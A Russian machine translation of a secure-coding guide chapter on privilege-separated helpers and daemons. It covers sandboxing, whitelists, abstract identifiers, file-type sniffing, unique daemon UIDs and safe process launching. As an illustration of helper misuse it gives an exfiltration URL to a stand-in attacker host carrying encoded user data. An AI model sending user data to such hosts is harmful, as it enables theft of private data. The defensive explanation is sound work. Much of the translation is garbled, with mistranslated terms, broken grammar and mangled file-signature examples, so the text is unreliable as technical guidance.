Разрабатывающие безопасные помощники и демоны
Разделение полномочия является общим методом для того, чтобы подать более безопасные заявки. Путем разбивания приложения в функциональные блоки, что каждый требует меньшего количества полномочий, можно сделать его тяжелее, чтобы сделать что-либо полезное с любой единственной частью того приложения, если кто-то успешно ставит под угрозу его.
Однако без надлежащего проекта, разделенное от полномочия приложение не значительно более безопасно, чем не полномочие разделило приложение. Для надлежащей безопасности каждая часть приложения должна обработать другие части приложения как недоверяемые и потенциально враждебные. С этой целью эта глава обеспечивает DOS и don’ts для разработки вспомогательного приложения.
Существует два различных способа, которыми можно выполнить разделение полномочия:
Создание чистого помощника вычисления для изоляции опасных операций. Этот метод требует, чтобы главное приложение по сути с подозрением относилось к любым данным, которые помощник возвращает, но не требует, чтобы помощник с подозрением относился к приложению.
Создание помощника или демона для выполнения задач, не удовлетворяя ходатайство право выполнить их. Это требует не только, чтобы главное приложение не доверяло помощнику, но также и что помощник не доверяет главному приложению.
Методы, используемые для обеспечения двух типов помощников, отличаются только по уровню паранойи, требуемой помощником.
Используйте тестовую среду приложения
В ядре полномочия разделение является потребностью фактически дать различные компонентные разные уровни полномочия. Рекомендуемый способ сделать это с помощью Тестовой среды приложения. Эта технология позволяет Вам ограничивать то, что могут сделать Ваше главное приложение и его вспомогательные приложения.
По умолчанию при включении Тестовой среды приложения на приложении то приложение имеет базовый уровень системного доступа, включающего возможность записать файлы в специальном каталоге на контейнер приложения, выполнить вычисление и доступ определенные службы базовой системы. От той базовой линии Вы добавляете дополнительные полномочия путем добавления прав, таких как возможность считать и записать файлы, выбранные пользователем через открытое или сохранить диалоговое окно, возможность выполнить исходящие сетевые запросы, возможность прислушаться к входящим сетевым запросам, и т.д.
Процесс игры в песочнице приложения или его помощников выходит за рамки этой книги. Для узнавания больше о выборе прав для приложения и его помощников считайте Руководство по проектированию Тестовой среды приложения.
Избегите Puppeteering
Когда вспомогательным приложением так плотно управляет главное приложение, что это не принимает решений отдельно, это вызывают puppeteering. Это - по сути плохой проект, потому что, если приложение поставилось под угрозу, атакующий может тогда управлять помощником точно так же в действительности прием в дергание за «ниточки» помощника. Это полностью уничтожает разделительную границу полномочия. Поэтому, если Вы не создаете чистого помощника вычисления, разделяя код на вспомогательное приложение, просто делающее то, что главное приложение говорит, что, чтобы сделать обычно является не полезное разделение труда.
В целом помощник должен быть ответственен за решение, выполнить ли определенное действие. При рассмотрении действий, которые приложение может выполнить с и без разделения полномочия, те списки должны отличаться; если они не, то Вы ничего не получаете путем выделения функциональности в отдельного помощника.
Например, рассмотрите помощника, загружающего содержание справки для текстового процессора. Если помощник выбирает какой-либо произвольный URL, что текстовой процессор отправляет его, помощник может быть тривиально использован для отправки произвольных данных в произвольный сервер. Например, атакующий, взявший под свой контроль браузер, мог сказать помощнику получать доступ к URL http://badguy.example.com/saveData?hereIsAnEncodedCopyOfTheUser%27sData
.
Следующие подразделы описывают решения для этой проблемы.
Используйте Whitelists
Один способ фиксировать это с whitelists. Помощник должен включать определенный список ресурсов, к которым он может получить доступ. Например, этот помощник мог включать:
Узел whitelist, который включает только домен
example.org
. Запросы к URLs в том домене успешно выполнились бы, но атакующий не мог заставить помощника получать доступ к URLs в различном домене.Префикс правильного пути whitelist. Атакующий не был бы в состоянии использовать сценарии перекрестного сайта на
example.org
доска объявлений для перенаправления запроса к другому расположению. (Это применяется в основном к приложениям с помощью веб-UI.)Можно также избежать этого путем обработки перенаправления вручную.
Позволенный тип файла whitelist. Это могло ограничить помощника ожидаемыми типами файлов. (Обратите внимание на то, что тип файла whitelists более интересен для помощников что файлы доступа на локальном жестком диске.)
Whitelist то, определенного URIs, к который
GET
илиPOST
операции позволяются.
Используйте абстрактные идентификаторы и структуры
Второй способ избежать puppeteering путем абстракции далеко подробных данных самого запроса, использования структур данных и абстрактных идентификаторов вместо того, чтобы обеспечить URIs, запросы и пути.
Тривиальным примером этого является система справочной информации. Вместо приложения, передающего полностью сформированный URI для поискового запроса справки, это могло бы передать поле признака, значение которого говорит помощнику “искать по имени” или “поиск заголовком” и строковым значением, содержащим строку поиска. Это поле признака является примером абстрактного идентификатора; это говорит помощнику, что обойтись без сообщения его, как сделать это.
Взятый один шаг вперед, когда помощник возвращает список результатов поиска, вместо того, чтобы возвратить имена и URIs для страниц результатов, он мог возвратить имена и непрозрачный идентификатор (который может быть индексом в последний набор результатов поиска). Путем выполнения так, приложение не может получить доступ к произвольному URIs, потому что это никогда не взаимодействует с фактическим URIs непосредственно.
Точно так же, если у Вас есть приложение, работающее с файлами проекта, ссылающимися на другие файлы, в отсутствие API для прямой поддержки этого, можно использовать временное исключение для предоставления доступа помощника ко всем файлам на диске. Для создания этого более безопасным помощник должен обеспечить доступ только к файлам, фактически появляющимся в открытом пользователями проекте. Помощник мог бы сделать это, требуя, чтобы приложение запросило файлы некоторым произвольным идентификатором, сгенерированным помощником, а не по имени или путь. Это делает его тяжелее для приложения, чтобы попросить, чтобы помощник открыл произвольные файлы. Это может далее быть увеличено со сниффингом, как описано в Использовании Тест Запаха.
То же понятие может быть расширено на другие области. Например, если приложение должно изменить запись в базе данных, помощник мог бы отправить запись как структуру данных, и приложение могло передать обратно измененную структуру данных, вместе с индикацией которой оценивает потребность измениться. Помощник мог тогда проверить правильность неизменных данных прежде, чем изменить остающиеся данные.
Передача данных абстрактно также позволяет помощнику ограничивать доступ приложения к другим таблицам базы данных. Это также позволяет помощнику ограничивать, какие виды запросов приложение может выполнить способами, которые являются более тонкозернистыми, чем было бы возможно с системой полномочий, что обеспечивает большинство баз данных.
Используйте тест запаха
Если вспомогательное приложение имеет доступ к файлам, к которым главное приложение не может получить доступ непосредственно, и если главное приложение просит, чтобы помощник получил содержание того файла, для помощника полезно выполнить тесты на файле прежде, чем отправить данные, чтобы гарантировать, что главное приложение не заменило символьной ссылкой на различный файл. В частности полезно сравнить расширение файла с фактическим содержанием файла, чтобы видеть, целесообразны ли байты на диске для очевидного типа файла. Этот метод вызывают сниффингом типа файла.
Например, первые несколько байтов любого файла образа обычно предоставляют достаточно информации для определения типа файла. Если первые четыре байта JFIF
, файл является, вероятно, файлом изображения JPEG. Если первые четыре байта GIF8
, файл является, вероятно, файлом изображения GIF. Если первые четыре байта MM.*
или II*.
, файл является, вероятно, файлом TIFF. И т.д.
Если запрос проходит этот тест запаха, то разногласия хороши, что содержание имеет expeced тип.
Обработайте и приложение и помощника как враждебные
Поскольку вся цель разделения полномочия состоит в том, чтобы предотвратить атакующего от способности сделать что-либо полезное после заключения компромисса одной части приложения, и помощник и приложение должны предположить, что другая сторона является потенциально враждебной. Это означает, что каждая часть должна:
Избегите переполнения буфера (Избегающий Переполнения буфера и Потерь значимости).
Проверьте весь ввод с другой стороны (Проверяющий Ввод и Межпроцессное взаимодействие).
Избегите небезопасных механизмов межпроцессорного взаимодействия (Проверяющий Ввод и Межпроцессное взаимодействие)
Избегите условий состязания (Избегающий Условий состязания).
Обработайте содержание любого каталога или файла, к которому другой процесс имеет доступ для записи как существенно недоверяемый (Обеспечение Операций Файла). Этот список потенциально включает:
Каталог контейнера целого приложения.
Предпочтительные файлы.
Временные файлы.
Пользовательские файлы.
И т.д. Если Вы будете следовать за этими принципами разработки, то Вы сделаете его тяжелее для атакующего, чтобы сделать что-либо полезное, если он или она поставит под угрозу Ваше приложение.
Выполненные демоны как уникальные пользователи
Для демонов, запускающихся с поднятых полномочий и затем отбрасывающих полномочия, необходимо всегда использовать локально уникальный идентификатор пользователя для программы. Если Вы используете некоторый стандартный UID такой как _unknown
или nobody
, тогда любой другой процесс, работающий с тем же самым UID, может взаимодействовать с Вашей программой, или непосредственно посредством межпроцессного взаимодействия, или косвенно путем изменения конфигурационных файлов. Таким образом, если кто-то похищает другого демона на том же сервере, они могут тогда вмешаться в Вашего демона; или, с другой стороны, если кто-то похищает Вашего демона, они могут использовать его для вмешательства в других демонов на сервере.
Можно использовать Открытые Службы каталогов для получения локально уникального UID. Обратите внимание на то, что UIDs от 0 до 500 резервируются для использования системой.
Запустите другие процессы безопасно
Когда дело доходит до безопасности не весь APIs для выполнения внешних инструментов создается равный. В частности:
Избегите POSIX system
функция. Его простота делает его заманчивым выбором, но также и делает его намного более опасным, чем другие функции. Когда Вы используете system
, Вы становитесь ответственными за то, что полностью санировали всю команду, что означает защищать любые символы, обрабатывающиеся как особенные оболочкой. Вы ответственны за понимание и правильно использовать правила заключения в кавычки оболочки, знание, какие символы интерпретируются в каждом типе кавычек и т.д. Это не маленький подвиг даже для опытных программистов сценария оболочки и строго нецелесообразно для всех остальных. Прямо помещенный, Вы поймете его превратно.
Установите свою собственную среду правильно заранее. Много APIs ищут инструмент, который Вы хотите выполнить в расположениях, указанных PATH
переменная окружения. Если атакующий может изменить ту переменную, атакующий может потенциально обмануть Ваше приложение в запуск различного инструмента и выполнение ее как текущий пользователь.
Можно избежать этой проблемы любым явно установка PATH
переменная окружения самостоятельно или путем предотвращения вариантов exec
или posix_spawn
то использование PATH
переменная окружения для поиска исполнимых программ.
Используйте абсолютные пути, если это возможно, или относительные пути, если абсолютные пути не доступны. Путем явного указания пути к исполнимой программе, а не просто ее имени, PATH
когда OS определяет который инструмент работать, с переменной окружения не консультируются.
Для получения дополнительной информации о переменных окружения и специальных символах оболочки, считайте Shell, Пишущий сценарий Учебника для начинающих.